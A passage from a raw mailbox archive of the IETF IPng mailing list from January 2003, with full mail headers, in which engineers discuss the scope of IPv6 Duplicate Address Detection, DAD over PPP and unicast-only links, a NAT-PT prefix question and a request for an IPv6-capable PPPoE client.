	Sun, 5 Jan 2003 03:43:42 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h05Bhd16003408
	for <ipng@sunroof.eng.sun.com>; Sun, 5 Jan 2003 03:43:39 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h05Bhmuk018374
	for <ipng@sunroof.eng.sun.com>; Sun, 5 Jan 2003 03:43:48 -0800 (PST)
Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA27236
	for <ipng@sunroof.eng.sun.com>; Sun, 5 Jan 2003 04:43:42 -0700 (MST)
Received: from IDLEWYLDE.windriver.com ([147.11.233.4])
	by mail.wrs.com (8.9.3/8.9.1) with ESMTP id DAA18172;
	Sun, 5 Jan 2003 03:42:43 -0800 (PST)
Message-Id: <5.1.0.14.2.20030105063655.0321a8b8@mail.windriver.com>
X-Sender: mrw@mail.windriver.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Sun, 05 Jan 2003 06:40:48 -0500
To: Keshava Ayanur <keshavaak@huawei.com>
From: Margaret Wasserman <mrw@windriver.com>
Subject: Re: DAD scope ??
Cc: 6bone@mailman.isi.edu, ipng@sunroof.eng.sun.com
In-Reply-To: <000201c2b3cd$22def5a0$68226e0a@HUAWEI.COM>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk


Hi Keshava,

DAD is intended to cover all unicast addresses (all scopes).
It includes an optimization, however, that allows nodes that
have checked a link-local address with a particular
Interface ID (IID) to skip checking other addresses that
are constructed  on the same interface using that same IID.

DAD is a link-local mechanism (uses link-local multicast
packets).  So, while it checks all addresses, it only
explicitly checks for duplicate addresses on the local link.

Margaret


At 04:41 PM 1/4/2003 +0800, Keshava Ayanur wrote:
>I would like to know
>
>Duplicate Address detection (DAD) scope is only for
>         link - for link local address
>Or it appilies even for
>
>         site - for site local address
>         global - for global unicast address.
>
>
>Thanks
>keshava
>
>--------------------------------------------------------------------
>IETF IPng Working Group Mailing List
>IPng Home Page:                      http://playground.sun.com/ipng
>FTP archive:                      ftp://playground.sun.com/pub/ipng
>Direct all administrative requests to majordomo@sunroof.eng.sun.com
>--------------------------------------------------------------------


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Sun Jan  5 09:14:38 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h05HEc16003742;
	Sun, 5 Jan 2003 09:14:38 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h05HEbKi003741;
	Sun, 5 Jan 2003 09:14:37 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h05HEY16003734
	for <ipng@sunroof.eng.sun.com>; Sun, 5 Jan 2003 09:14:35 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h05HEhuk015718
	for <ipng@sunroof.eng.sun.com>; Sun, 5 Jan 2003 09:14:43 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA25392
	for <ipng@sunroof.eng.sun.com>; Sun, 5 Jan 2003 09:14:37 -0800 (PST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id h05HEJ009120;
	Sun, 5 Jan 2003 19:14:19 +0200
Date: Sun, 5 Jan 2003 19:14:18 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Pim van Pelt <pim@ipng.nl>
cc: Keshava Ayanur <keshavaak@huawei.com>, <6bone@mailman.isi.edu>,
   <ipng@sunroof.eng.sun.com>
Subject: Re: [6bone] DAD scope ??
In-Reply-To: <20030105115213.GH17943@bfib.colo.bit.nl>
Message-ID: <Pine.LNX.4.44.0301051911320.8754-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Sun, 5 Jan 2003, Pim van Pelt wrote:
> On Sat, Jan 04, 2003 at 05:56:58PM +0200, Pekka Savola wrote:
> | On Sat, 4 Jan 2003, Keshava Ayanur wrote:
> | > Duplicate Address detection (DAD) scope is only for 
> | > Or it appilies even for 
> | > 
> | > 	site - for site local address
> | > 	global - for global unicast address.
> | 
> | All.
>
> How would I do DAD for a global scope address ? 

The same as with link-local addresses.

> ICMPv6-ND does not seem
> appropriate and ICMPv6-echo is surely not what you want.

There seems to be some confusion here.  DAD is used to guarantee
uniqueness of an address on a _link_ (or possibly on a subnet) -- the same
for any kind of address, not uniqueness within a scope (e.g. DAD for a
global address does not mean it's globally unique).

Hope this clarifies.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan  6 00:17:43 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h068Hh16005273;
	Mon, 6 Jan 2003 00:17:43 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h068HhXb005272;
	Mon, 6 Jan 2003 00:17:43 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h068Hd16005265
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 00:17:39 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h068HnXq001159
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 00:17:49 -0800 (PST)
Received: from mail1.beijingnet.com ([202.136.254.1])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id AAA05598
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 00:17:43 -0800 (PST)
Received: from biingn ([218.30.223.17])
	by mail1.beijingnet.com (8.8.8+2.7Wbeta7/3.6W) with SMTP id QAA23474
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 16:24:39 +0800 (CST)
Message-ID: <000c01c2b55c$0cef1910$0e35090a@biingn>
From: "wangxin" <wangxin@biigroup.com>
To: <ipng@sunroof.eng.sun.com>
Subject: how to  pppoe with ipv6
Date: Mon, 6 Jan 2003 16:16:57 +0800
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0009_01C2B59F.08DF61C0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0009_01C2B59F.08DF61C0
Content-Type: text/plain;
	charset="gb2312"
Content-Transfer-Encoding: base64

YWxsLA0KICBJIG5lZWQgYSBoZWxwLiBJIHdhbnQgdG8gdXNlIHBwcG9lIHdpdGggaXB2Ni4gQnV0
IEkgY2FuJ3QgZ2V0IGEgcHBwb2UgY2xpZW50IHdoaWNoIGNhbiBzdXBwb3J0IGlwdjYuDQogIEhv
cGUgaGVscCENCg0Kd2FuZ3hpbg0KDQo=

------=_NextPart_000_0009_01C2B59F.08DF61C0
Content-Type: text/html;
	charset="gb2312"
Content-Transfer-Encoding: base64

PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwv
L0VOIj4NCjxIVE1MPjxIRUFEPg0KPE1FVEEgaHR0cC1lcXVpdj1Db250ZW50LVR5cGUgY29udGVu
dD0idGV4dC9odG1sOyBjaGFyc2V0PWdiMjMxMiI+DQo8TUVUQSBjb250ZW50PSJNU0hUTUwgNi4w
MC4yNjAwLjAiIG5hbWU9R0VORVJBVE9SPg0KPFNUWUxFPjwvU1RZTEU+DQo8L0hFQUQ+DQo8Qk9E
WSBiZ0NvbG9yPSNmZmZmZmY+DQo8RElWPjxGT05UIHNpemU9Mj5hbGwsPC9GT05UPjwvRElWPg0K
PERJVj48Rk9OVCBzaXplPTI+Jm5ic3A7IEkgbmVlZCBhIGhlbHAuIEkgd2FudCB0byB1c2UgcHBw
b2Ugd2l0aCBpcHY2LiBCdXQgSSANCmNhbid0IGdldCBhIHBwcG9lIGNsaWVudCB3aGljaCBjYW4g
c3VwcG9ydCBpcHY2LjwvRk9OVD48L0RJVj4NCjxESVY+PEZPTlQgc2l6ZT0yPiZuYnNwOyBIb3Bl
IGhlbHAhPC9GT05UPjwvRElWPg0KPERJVj48Rk9OVCBzaXplPTI+PC9GT05UPiZuYnNwOzwvRElW
Pg0KPERJVj48Rk9OVCBzaXplPTI+d2FuZ3hpbjwvRk9OVD48L0RJVj4NCjxESVY+Jm5ic3A7PC9E
SVY+PC9CT0RZPjwvSFRNTD4NCg==

------=_NextPart_000_0009_01C2B59F.08DF61C0--


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan  6 03:07:09 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h06B7916006521;
	Mon, 6 Jan 2003 03:07:09 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h06B79SR006520;
	Mon, 6 Jan 2003 03:07:09 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h06B7616006513
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 03:07:06 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h06B7Fuk009808
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 03:07:15 -0800 (PST)
Received: from mta0 ([61.144.161.10])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA26779
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 03:07:09 -0800 (PST)
Received: from ly (mta0 [172.17.1.62])
 by mta0.huawei.com (iPlanet Messaging Server 5.2 HotFix 0.8 (built Jul 12
 2002)) with ESMTPA id <0H8A00DJVHH0VR@mta0.huawei.com> for
 ipng@sunroof.eng.sun.com; Mon, 06 Jan 2003 19:05:25 +0800 (CST)
Date: Mon, 06 Jan 2003 19:06:26 +0800
From: Keshava Ayanur <keshavaak@huawei.com>
Subject: NATPT prefix ...
To: 6bone@mailman.isi.edu, ipng@sunroof.eng.sun.com
Cc: keshav <keshavaak@huawei.com>
Message-id: <000001c2b573$a89fb2e0$68226e0a@HUAWEI.COM>
Organization: Huawei Technology
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
X-Mailer: Microsoft Outlook, Build 10.0.3416
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 7BIT
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

I have question about NAT-PT (RFC 2766).

	How does the hosts, routers in the IPV6 domain knows about the 
	NATPT  prefix that they should use when sending V6 packets to V4
network.

	NAT-PT router which resides in the border between V6 & V4 cloud
should 
	advertise this prefix. How ? 

	
Regards,
keshava

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan  6 10:23:14 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h06INE16010031;
	Mon, 6 Jan 2003 10:23:14 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h06INExb010030;
	Mon, 6 Jan 2003 10:23:14 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h06IN716010023
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 10:23:07 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h06IN7uk025290
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 10:23:07 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA15596
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 11:23:01 -0700 (MST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id KAA28322;
	Mon, 6 Jan 2003 10:23:00 -0800 (PST)
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id h06IMx000774;
	Mon, 6 Jan 2003 10:22:59 -0800
X-mProtect: <200301061822> Nokia Silicon Valley Messaging Protection
Received: from UNKNOWN (205.226.2.67, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com smtpdwR4xfG; Mon, 06 Jan 2003 10:22:57 PST
Message-ID: <3E19CBD4.2040704@iprg.nokia.com>
Date: Mon, 06 Jan 2003 10:32:52 -0800
From: "Fred L. Templin" <ftemplin@iprg.nokia.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Margaret Wasserman <mrw@windriver.com>
CC: Keshava Ayanur <keshavaak@huawei.com>, 6bone@mailman.isi.edu,
   ipng@sunroof.eng.sun.com
Subject: Re: DAD scope ??
References: <5.1.0.14.2.20030105063655.0321a8b8@mail.windriver.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Margaret/others,

Margaret Wasserman wrote:
> DAD is a link-local mechanism (uses link-local multicast
> packets).  So, while it checks all addresses, it only
> explicitly checks for duplicate addresses on the local link.

What about DAD for links that are unicast-only? Alternatives
I can imagine are:

  1. specify some sort of unicast mechanism for DAD
  2. perform some sort of multicast emulation (e.g., MARS)
  3. avoid DAD alltogether when one can assume that addresses
     are uniquely assigned within the site

Thoughts?

Fred Templin
ftemplin@iprg.nokia.com


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan  6 10:35:46 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h06IZj16010247;
	Mon, 6 Jan 2003 10:35:45 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h06IZjM5010246;
	Mon, 6 Jan 2003 10:35:45 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h06IZg16010239
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 10:35:42 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h06IZguk029091
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 10:35:42 -0800 (PST)
Received: from ncsmtp03.ogw.rr.com (ncsmtp03.ogw.rr.com [24.93.67.84])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA07489
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 10:35:36 -0800 (PST)
Received: from mail5.nc.rr.com (fe5 [24.93.67.52])
	by ncsmtp03.ogw.rr.com (8.12.5/8.12.2) with ESMTP id h06IXUib018630;
	Mon, 6 Jan 2003 13:33:31 -0500 (EST)
Received: from nc.rr.com ([63.109.132.2]) by mail5.nc.rr.com  with Microsoft SMTPSVC(5.5.1877.757.75);
	 Mon, 6 Jan 2003 13:32:49 -0500
Message-ID: <3E19CC6D.8030705@nc.rr.com>
Date: Mon, 06 Jan 2003 13:35:25 -0500
From: Brian Haberman <bkhabs@nc.rr.com>
Organization: No Organization Here
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "Fred L. Templin" <ftemplin@iprg.nokia.com>
CC: Margaret Wasserman <mrw@windriver.com>,
   Keshava Ayanur <keshavaak@huawei.com>, 6bone@mailman.isi.edu,
   ipng@sunroof.eng.sun.com
Subject: Re: DAD scope ??
References: <5.1.0.14.2.20030105063655.0321a8b8@mail.windriver.com> <3E19CBD4.2040704@iprg.nokia.com>
In-Reply-To: <3E19CBD4.2040704@iprg.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Each ipv6-over-foo doc discusses modifications to ND,
if necessary, for the particular link technology.  For
example, Section 5 of RFC 2023 (IPv6 over PPP) mentions
that DAD is redundant and needn't be run.

Regards,
Brian

Fred L. Templin wrote:
> Margaret/others,
> 
> Margaret Wasserman wrote:
> 
>> DAD is a link-local mechanism (uses link-local multicast
>> packets).  So, while it checks all addresses, it only
>> explicitly checks for duplicate addresses on the local link.
> 
> 
> What about DAD for links that are unicast-only? Alternatives
> I can imagine are:
> 
>  1. specify some sort of unicast mechanism for DAD
>  2. perform some sort of multicast emulation (e.g., MARS)
>  3. avoid DAD alltogether when one can assume that addresses
>     are uniquely assigned within the site
> 
> Thoughts?
> 
> Fred Templin
> ftemplin@iprg.nokia.com
> 
> 
> --------------------------------------------------------------------
> IETF IPng Working Group Mailing List
> IPng Home Page:                      http://playground.sun.com/ipng
> FTP archive:                      ftp://playground.sun.com/pub/ipng
> Direct all administrative requests to majordomo@sunroof.eng.sun.com
> --------------------------------------------------------------------
> 


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan  6 10:44:46 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h06Iik16010512;
	Mon, 6 Jan 2003 10:44:46 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h06Iik70010511;
	Mon, 6 Jan 2003 10:44:46 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h06Iie16010504
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 10:44:40 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h06IieXq019578
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 10:44:40 -0800 (PST)
Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.70.145.30])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA13093
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 10:44:34 -0800 (PST)
Received: from cisco.com (mrwint.cisco.com [144.254.98.48])
	by sj-msg-core-2.cisco.com (8.12.2/8.12.2) with ESMTP id h06Ih2fm008060;
	Mon, 6 Jan 2003 10:43:02 -0800 (PST)
Received: (from otroan@localhost)
	by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) id SAA08616;
	Mon, 6 Jan 2003 18:42:55 GMT
X-Authentication-Warning: mrwint.cisco.com: otroan set sender to ot@cisco.com using -f
To: Brian Haberman <bkhabs@nc.rr.com>
Cc: "Fred L. Templin" <ftemplin@iprg.nokia.com>,
   Margaret Wasserman <mrw@windriver.com>,
   Keshava Ayanur <keshavaak@huawei.com>, 6bone@mailman.isi.edu,
   ipng@sunroof.eng.sun.com
Subject: Re: DAD scope ??
From: Ole Troan <ot@cisco.com>
Date: Mon, 06 Jan 2003 18:42:55 +0000
In-Reply-To: <3E19CC6D.8030705@nc.rr.com> (Brian Haberman's message of "Mon,
 06 Jan 2003 13:35:25 -0500")
Message-ID: <7t5el7q9l1s.fsf@mrwint.cisco.com>
User-Agent: Gnus/5.090011 (Oort Gnus v0.11) Emacs/21.2
 (sparc-sun-solaris2.8)
References: <5.1.0.14.2.20030105063655.0321a8b8@mail.windriver.com>
	<3E19CBD4.2040704@iprg.nokia.com> <3E19CC6D.8030705@nc.rr.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

> Each ipv6-over-foo doc discusses modifications to ND,
> if necessary, for the particular link technology.  For
> example, Section 5 of RFC 2023 (IPv6 over PPP) mentions
> that DAD is redundant and needn't be run.

my interpretation of IPv6 over PPP is different. DAD is redundant only
for the link-local address, but needs to be run for all other
addresses on the link.

/ot

> Fred L. Templin wrote:
>> Margaret/others,
>> Margaret Wasserman wrote:
>>
>>> DAD is a link-local mechanism (uses link-local multicast
>>> packets).  So, while it checks all addresses, it only
>>> explicitly checks for duplicate addresses on the local link.
>> What about DAD for links that are unicast-only? Alternatives
>> I can imagine are:
>>  1. specify some sort of unicast mechanism for DAD
>>  2. perform some sort of multicast emulation (e.g., MARS)
>>  3. avoid DAD alltogether when one can assume that addresses
>>     are uniquely assigned within the site
>> Thoughts?
>> Fred Templin
>> ftemplin@iprg.nokia.com
>> --------------------------------------------------------------------
>> IETF IPng Working Group Mailing List
>> IPng Home Page:                      http://playground.sun.com/ipng
>> FTP archive:                      ftp://playground.sun.com/pub/ipng
>> Direct all administrative requests to majordomo@sunroof.eng.sun.com
>> --------------------------------------------------------------------
>>
>
>
> --------------------------------------------------------------------
> IETF IPng Working Group Mailing List
> IPng Home Page:                      http://playground.sun.com/ipng
> FTP archive:                      ftp://playground.sun.com/pub/ipng
> Direct all administrative requests to majordomo@sunroof.eng.sun.com
> --------------------------------------------------------------------
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan  6 10:44:59 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h06Iix16010531;
	Mon, 6 Jan 2003 10:44:59 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h06Iiwvg010528;
	Mon, 6 Jan 2003 10:44:58 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h06Iio16010520
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 10:44:50 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h06IioXq019613
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 10:44:50 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA00643
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 11:44:44 -0700 (MST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id KAA28944;
	Mon, 6 Jan 2003 10:44:44 -0800 (PST)
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id h06IihB19205;
	Mon, 6 Jan 2003 10:44:43 -0800
X-mProtect: <200301061844> Nokia Silicon Valley Messaging Protection
Received: from UNKNOWN (205.226.2.67, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com smtpdChTY2J; Mon, 06 Jan 2003 10:44:42 PST
Message-ID: <3E19D0ED.20602@iprg.nokia.com>
Date: Mon, 06 Jan 2003 10:54:37 -0800
From: "Fred L. Templin" <ftemplin@iprg.nokia.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Brian Haberman <bkhabs@nc.rr.com>
CC: Margaret Wasserman <mrw@windriver.com>,
   Keshava Ayanur
 <keshavaak@huawei.com>, 6bone@mailman.isi.edu,
   ipng@sunroof.eng.sun.com
Subject: Re: DAD scope ??
References: <5.1.0.14.2.20030105063655.0321a8b8@mail.windriver.com> <3E19CBD4.2040704@iprg.nokia.com> <3E19CC6D.8030705@nc.rr.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Brian Haberman wrote:
 > Each ipv6-over-foo doc discusses modifications to ND,
 > if necessary, for the particular link technology.

Can you point me to any text in the core architecture
documents (e.g., RFCs 2461, 2462) that allow this and
can be used as normative reference?

Thanks,

Fred Templin
ftemplin@iprg.nokia.com


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan  6 11:07:34 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h06J7X16011381;
	Mon, 6 Jan 2003 11:07:34 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h06J7Xxo011380;
	Mon, 6 Jan 2003 11:07:33 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
